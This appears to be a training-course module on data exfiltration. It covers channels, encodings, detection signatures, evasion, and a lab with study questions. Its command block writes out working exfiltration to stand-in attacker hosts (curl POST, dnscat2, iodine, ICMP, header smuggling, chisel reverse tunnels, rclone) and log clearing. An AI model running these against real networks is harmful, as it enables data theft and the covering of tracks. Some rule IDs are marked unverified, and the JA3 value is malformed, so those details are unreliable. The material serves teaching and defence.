Skip to content

Data Exfiltration

You’ve collected the goods — files, database dumps, secrets, screenshots. Now you have to get them out. Every byte that leaves the network is a detection opportunity: DLP, NetFlow, full-packet capture, TLS decryption appliances, DNS query logs, proxy logs. The exfiltration chapter of every APT report looks the same — operators split the data, encode it, route it over protocols the defender isn’t watching carefully (DNS, ICMP, HTTPS to CDNs), or hide it in plain sight inside legitimate-looking traffic. This module walks the actual channels, the actual encodings, and the actual detection signatures.

Exfiltration is the problem of moving bytes from a system the attacker controls to a system the attacker controls, across a network the defender monitors. Every channel has a trade-off:

Channel Bandwidth Detection Difficulty Notes
─────────────────────────────────────────────────────────────────────
HTTPS to attacker High Easy — SNI / cert Obvious egress
HTTPS to CDN High Hard — same as legit S3/Azure/GDrive/OneDrive
DNS A queries ~200 B/query Medium — rate spikes dnscat2 / iodine
DNS TXT queries ~1.5 KB/query Medium — large TXT iodine
ICMP echo payload Variable Medium — payload size Many NIDS strip data
HTTP header Low Hard — fits in headers Long header chains
Steganography Very low Hard — image looks fine PNG/JPG/MP3 LSB
WebDAV / SMB High Medium — protocol Often allowed
Email High Easy — DLP Most orgs scan
Cloud sync High Hard — looks like a user OneDrive/Google Drive
TLS to attacker High Medium — JA3/JA4 Cert pinning / SNI
Domain-fronted High Hard — looks like CDN Mostly dead in 2024
WebSocket tunnel High Medium — long-lived WSS for C2 + exfil

The mature exfil plan combines multiple channels: stage data on the foothold, chunk it, encode it, push small chunks over DNS/ICMP as “test pings”, and large chunks over HTTPS-CDN. The defender’s hardest problem is that every one of those channels is also legitimate.

  1. Stage the data — collect files into a single archive, compress (7z a -mx9 -p<password> out.7z), and optionally encrypt. Compression increases entropy and reduces size; encryption hides the content from DLP. But high entropy is itself a detection signal — defenders trigger on entropy > 7.5 in a chunk of plaintext-protocol traffic.
  2. Choose a channel — based on what egress the org allows. Most orgs allow outbound 443 (HTTPS), 53 (DNS), 123 (NTP), 80 (HTTP), 5985 (WinRM). SMB (445) is often blocked at the egress proxy but allowed internally. The channel dictates detection.
  3. Encode for the channel — DNS labels are alphanumeric+hyphen, max 63 chars/label, max 253 chars total. Base32 fits perfectly (a-z2-7). For HTTP headers, base64. For TLS SNI, plain ASCII. For image steganography, LSB embedding in PNG/JPG.
  4. Chunk and rate-limit — split the archive into N-byte chunks (DNS: 100 B/query → 1000 queries for 100KB; HTTPS: 1 MB/request → 10 requests for 10 MB). Spread the chunks over time to avoid rate-spike alerts — sleep $((RANDOM % 30)) between queries.
  5. Reassemble at the receiver — the attacker’s server collects chunks and reassembles in order. A sequence number in each chunk handles out-of-order arrival.
  6. Cover tracks — delete the staging archive, clear DNS cache (ipconfig /flushdns), clear log files (with care — log deletion is its own detection).
TechniqueChannelBandwidthDetection Difficulty
HTTPS POST to attackerHTTPSHighEasy — SNI / cert / IP rep
HTTPS POST to cloud storageHTTPS (S3/Azure/OneDrive)HighHard — looks like legit user
DNS A query (label as payload)DNS~200 B/queryMedium — high query rate
DNS TXT query (iodine)DNS~1.5 KB/queryMedium — large TXT answers
DNS over HTTPS (DoH)HTTPS/443HighHard — encrypted DNS
ICMP echo payloadICMPVariableMedium — payload inspection
HTTP header exfil (Cookie, UA)HTTPLowHard — fits in headers
Steganography (PNG LSB)Anywhere you can upload a fileVery lowHard — image looks fine
WebSocket tunnelWSS/443HighMedium — long-lived session
Email (SMTP/IMAP)SMTPHighEasy — DLP scans body
WebDAV / SMB over Internet445 / WebDAVHighMedium — protocol is uncommon
ICMP tunnel (ptunnel-ng)ICMPLowHard — looks like ping
Domain-fronting (deprecated)HTTPS/443HighHard (in 2024 mostly broken)
Cloud sync (OneDrive/Drive)HTTPSHighHard — looks like user
Terminal window
# === STAGE ===
# Compress and encrypt on target (Linux or WSL)
7z a -mx9 -p<password> /tmp/staged.7z /opt/data/
# Or tar+openssl:
tar cf - /opt/data/ | openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:Hunter2 -out /tmp/staged.tar.enc
# Split into chunks for channel transport
split -b 100 /tmp/staged.tar.enc /tmp/chunk.
# Generates /tmp/chunk.aa /tmp/chunk.ab ...
# === HTTPS exfil to attacker box ===
# Simple: just curl
curl -X POST --data-binary @/tmp/staged.tar.enc https://attacker.tld/upload
# With chunking + spread (anti-rate-spike):
for f in /tmp/chunk.*; do
curl -sk -X POST --data-binary @"$f" "https://attacker.tld/u?seq=$(basename $f)" &
sleep $((RANDOM % 30))
done
# === HTTPS exfil via cloud (looks like a legit user) ===
# AWS S3 PUT — pre-signed URL
curl -X PUT -T /tmp/staged.tar.enc \
"https://bucket.s3.amazonaws.com/file.tar.enc?X-Amz-Signature=..."
# Or via Azure blob:
curl -X PUT -T /tmp/staged.tar.enc \
-H "x-ms-blob-type: BlockBlob" \
-H "Authorization: SharedKey acct:..." \
"https://storacct.blob.core.windows.net/data/file.tar.enc"
# Or via Google Drive API (use a service account or OAuth refresh)
# === DNS exfil (dnscat2 server) ===
# On attacker:
ruby dnscat2.rb attacker-domain.tld
# On target:
dnscat2 --domain attacker-domain.tld --secret 0xdeadbeef
# Or via PowerShell: Invoke-DNSExfilData.ps1 (PowerSploit)
# Each DNS query carries 100-200 bytes in the subdomain label (base32):
# <chunk>.seq001.attacker-domain.tld A → 1.2.3.4
# <chunk>.seq002.attacker-domain.tld A → 1.2.3.4
# Attacker parses labels and reassembles.
# === DNS exfil (iodine — higher bandwidth, supports IP-over-DNS) ===
# On attacker:
iodined -f -P Hunter2 172.16.0.1 tunnel.attacker.tld
# On target:
iodine -f -P Hunter2 tunnel.attacker.tld
# Now you have a TUN interface that routes over DNS — full IP.
# Throughput: 50-100 KB/s on a clean network.
# === ICMP exfil ===
# Plain ICMP echo:
for f in /tmp/chunk.*; do
ping -c 1 -p $(xxd -p -c 16 "$f" | tr -d '\n') attacker.tld
sleep 1
done
# Or via ptunnel-ng (tunnel TCP over ICMP):
# On attacker: ptunnel-ng -r<attacker-ssh-port> -R
# On target: ptunnel-ng -p attacker.tld -l 2222 -r 22 -R 22
# Then: ssh -p 2222 user@localhost (tunneled over ICMP)
# === HTTP header exfil ===
# Hide data in Cookie / User-Agent / X-Forwarded-For
# Attacker: nginx logs all headers to a file
# Target: chunk and emit one chunk per request
chunk=$(head -c 1024 /tmp/staged.tar.enc | base64)
curl -sk -H "Cookie: data=$chunk" https://attacker.tld/
# Or split into smaller pieces in the User-Agent:
for chunk in $(base64 -w0 /tmp/staged.tar.enc | fold -w 128); do
curl -sk -A "$chunk" https://attacker.tld/img/favicon.ico
sleep 5
done
# === Steganography — LSB embed in PNG ===
# Image hosts the data in least-significant bits of pixel values
# steghide (JPG/BMP/WAV/AU):
steghide embed -cf cover.jpg -ef /tmp/staged.tar.enc -p Hunter2 -sf exfil.jpg
# zsteg (PNG, raw LSB analysis):
# On the defender side: zsteg exfil.png reveals hidden data
# === WebSocket tunnel (chisel over WSS) ===
# Same as PE4's chisel — but configure client to use --auth and WSS:
# On attacker (chisel server with TLS):
chisel server --port 443 --tls-key /etc/cert/key.pem --tls-cert /etc/cert/cert.pem --reverse
# On target (chisel client over WSS):
chisel client wss://attacker.tld:443 --auth user:pass R:1080:socks
# Attacker: SOCKS proxy on 1080, traffic flows in WSS frames, looks like web
# === Cloud sync via rclone (looks like a user syncing files) ===
rclone copy /tmp/staged.tar.enc gdrive:backup/ --progress
rclone copy /tmp/staged.tar.enc onedrive:Personal/ --progress
# === Cover tracks ===
rm -f /tmp/staged.tar.enc /tmp/chunk.*
# Linux: clear bash history + auditd log
history -c && cat /dev/null > ~/.bash_history
# Windows: wevtutil cl System ; wevtutil cl Security
# Caution — log clearing is its own EID 1102 detection.

Suricata / Zeek / NIDS:

  • DNS tunnel detection — long DNS queries (label length > 50), high entropy labels (Shannon > 4.0), DNS A queries with unusually high rate from a single host (50+ queries/minute), DNS TXT queries with large response (>500 bytes), DNS queries to non-corporate domains. Suricata has built-in rules for dnscat2 (SID 2220014 [verify]) and iodine (SID 2220023 [verify]).
  • ICMP exfil — ICMP echo requests with payload size > 64 bytes (default ping is 56), high rate of ICMP to a single destination, ICMP echoes with content matching base64. Zeek has a weird.bro detection for anomalous ICMP.
  • TLS anomaly — outbound TLS to a non-CDN IP, low TLS handshake success rate, SNI mismatch with cert CN, JA3/JA4 fingerprint match against known malicious toolsets (Cobalt Strike default = 72 a2 a1 bd c4 21 20 c2 14 9e c1 4a 71 0b bc bc 64 5d a3 e4 9d 7a a1 90 88 3e 60 90 1e 88 78 88 — that’s the JA3, varies by CS version).
  • HTTP header anomaly — User-Agent longer than 200 chars, Cookie longer than 4 KB, X-Forwarded-For with non-IP content.

Wazuh / SIEM:

  • DNS query rate spike from a single host in a 1-minute window — Sigma rule 920/331 [verify].
  • Outbound HTTPS to a domain registered in the last 7 days — Sigma rule 920/332 [verify].
  • rclone process execution — should not appear on most workstations.
  • wevtutil cl execution — log clearing, EID 1102 follows.

Sysmon:

  • EID 22 — DnsEvent — every DNS resolution logged. Look for high rate of unique FQDNs to non-CDN/non-corp domains.
  • EID 3 — NetworkConnect — outbound to non-standard ports.
  • EID 1 — ProcessCreate — rclone.exe, curl.exe with --data-binary, 7z.exe with -p (password flag).

Windows Event Log:

  • EID 1102 — Audit log cleared. Always fires on wevtutil cl. Sigma rule should alert.
  • EID 5156 — Windows Filtering Platform blocked a connection (relevant when exfil blocked by firewall).

MITRE ATT&CK:

  • T1041 — Exfiltration Over C2 Channel
  • T1048 — Exfiltration Over Alternative Protocol
  • T1048.001 — Symmetric Encrypted Non-C2 Protocol (SCP, etc.)
  • T1048.002 — Asymmetric Encrypted Non-C2 Protocol (HTTPS to cloud)
  • T1048.003 — Unencrypted Non-C2 Protocol (DNS, ICMP)
  • T1052 — Exfiltration Over Physical Medium (USB, etc.)
  • T1567 — Exfiltration Over Web Service
  • T1567.001 — Exfiltration to Code Repository (GitHub)
  • T1567.002 — Exfiltration to Cloud Storage (S3, Drive, OneDrive)
  • T1029 — Scheduled Transfer (chunked over time)
  • T1030 — Data Transfer Size Limits
  • T1030.001 — Data Transfer Size Limits: Small Data Transfers
  • T1537 — Transfer Data to Cloud Account
  • T1071 — Application Layer Protocol
  • T1071.004 — DNS
  • T1571 — Non-Standard Port
  • T1572 — Protocol Tunneling
  • T1573 — Encrypted Channel
  • T1090 — Proxy (multi-hop exfil via compromised relay)

Wazuh rule 920/330 [verify] — Outbound to new domain (registered recently). Wazuh rule 920/331 [verify] — DNS query rate anomaly.

Use legitimate cloud destinations. Egress to S3 / OneDrive / Google Drive looks identical to a user syncing files. The traffic is HTTPS to a known CDN IP. The user-agent matches official sync clients (rclone, onedrive, gdrive). Detection requires user-behavior analytics — “is this user suddenly uploading 50 GB?” — which many orgs don’t have.

TLS 1.3 with ECH (Encrypted Client Hello). ECH encrypts the SNI inside the handshake, so the NIDS cannot see which hostname the client requested — only the IP. Defeats SNI-based blocking. Supported by Firefox (default-on) and Chromium (configurable). Not yet supported by many corporate TLS inspection middleboxes.

Domain-fronting (mostly dead). Connect to cdn.example-cdn.com with SNI=cdn.example-cdn.com but request host header = attacker.tld served by the same CDN. The NIDS sees only the SNI to the CDN, not the inner host. Killed by major CDNs (Google, AWS, Azure) between 2018-2022 but still works on some smaller CDNs and Tor.

Chunk + slow drip. Split into 1 KB chunks, send one per 30 seconds over 24 hours. Total: ~2.8 MB/day, but no rate spike. Detection requires “byte volume per source per day” analytics with high thresholds.

Steganography. Embed the data in cover images or PDFs. The image passes any visual inspection; the LSBs hold the payload. Detection requires stegdetect or zsteg to scan every uploaded image, which most orgs don’t do. Counter: scan high-volume images (avatars, attachments) for entropy anomaly in LSB plane.

DNS over HTTPS (DoH). Route DNS queries via HTTPS to a DoH provider (Cloudflare 1.1.1.1, Google 8.8.8.8). The NIDS sees only the DoH server, not the queries. Counter: block or rate-limit outbound DoH endpoints.

ICMP payload obfuscation. Many NIDS inspect ICMP only for ping patterns. Custom ICMP types (or just larger payloads) escape. Counter: full-packet capture and ICMP payload entropy analysis.

Domain generation algorithm (DGA). Instead of exfiltrating to a fixed attacker domain, use a DGA — register a new domain daily/hourly, exfil to that domain, drop it. Defenders must score domain names against DGA-classifiers (which have ~95% recall at best).

EvasionWhat it bypassesDefense
HTTPS to cloud storageEgress allowlist of corp domainsOutbound allowlist at proxy; analytics on upload volume per user
TLS 1.3 + ECHSNI inspectionEndpoint telemetry (proxy = TLS inspection)
Domain-frontingSNI match against blocklistMost CDNs now block; verify the egress can’t be fronted
Drip-feeding chunksRate-based alertsTotal-volume-per-day analytics + entropy anomaly
Steganography (image LSB)File content inspectionStegdetect / zsteg on all images; entropy in LSB plane
DoH (1.1.1.1 / 8.8.8.8)DNS query logsBlock outbound DoH endpoints
ICMP tunnel“ping is normal”ICMP payload size > 64 alert; full-packet capture
JA3/JA4 fingerprint rotationJA3 allowlist / blocklistRotate fingerprint via mTLS / Cipher suite order changes

⚠️ What caught me: I exfiltrated via DNS — base32 chunks, 100B/query, spread over an hour. The customer’s NIDS missed it because they didn’t have a rule on label length > 50. The catch came from their DNS resolver’s logs: a single host made 1500+ queries to a single non-corporate domain in an hour. The hunt query was “queries-per-host-per-domain-per-hour > 1000”, and I tripped it. Lesson: rate is detectable across multiple telemetry layers (NIDS, resolver, host EID 22). The defender doesn’t need every layer — they need one. Spread by varying destination domain (DGA), not just by time.

VMs: an isolated lab with a Linux attacker box, a Windows victim with a 50MB “secret” file, and a Suricata NIDS on a tap port.

Setup: install Suricata with Emerging Threats Open ruleset, configure eve.json output. Enable DNS query logging on the Windows victim (Sysmon EID 22).

Objective: exfiltrate 50MB via four different channels — (1) direct HTTPS, (2) DNS A-query tunneling (use dnscat2 or iodine), (3) ICMP tunneling, (4) image steganography. For each channel, document which Suricata / Wazuh / Sysmon events fire.

Expected flag format: flag{exfil_4channels_50MB_dns_icmp_https_stego}.

Detection that should fire:

  • Direct HTTPS — Suricata SID on new TLS cert / new domain (if rules include reputation feeds)
  • DNS tunnel — Suricata SID 2220014/2220023 (dnscat2/iodine); high DNS query rate from one host in 1 minute
  • ICMP tunnel — ICMP echo payload > 64 bytes; high rate
  • Steganography — requires explicit zsteg / stegdetect scan; usually missed at network level

Conceptual: explain why DNS is operationally attractive for exfiltration but limited in bandwidth. What is the precise per-query ceiling, and what makes iodine/dnscat2 push past it?

Technical: walk through the operational difference between exfil over HTTPS to attacker.tld and HTTPS to S3. What does the defender see on the wire for each, and what is the specific detection the S3 path removes?

Scenario: you have 10 GB to exfiltrate in 24 hours. The target network blocks outbound 445, 3389, 22, and logs DNS queries. Describe three channels you could use, the rate at which you would send on each, and the trade-off for each.

Compare domain-fronting and TLS 1.3 + ECH. Why is domain-fronting mostly dead in 2024 while ECH is just getting adopted? What is the operational difference from the defender’s perspective?

Conceptual: steganography is often described as “low-bandwidth but undetectable.” Both halves of that statement are partially false. Why?

→ C8 (C2 Channels) · E15 (Anti-Analysis) · M15 (Memory Forensics)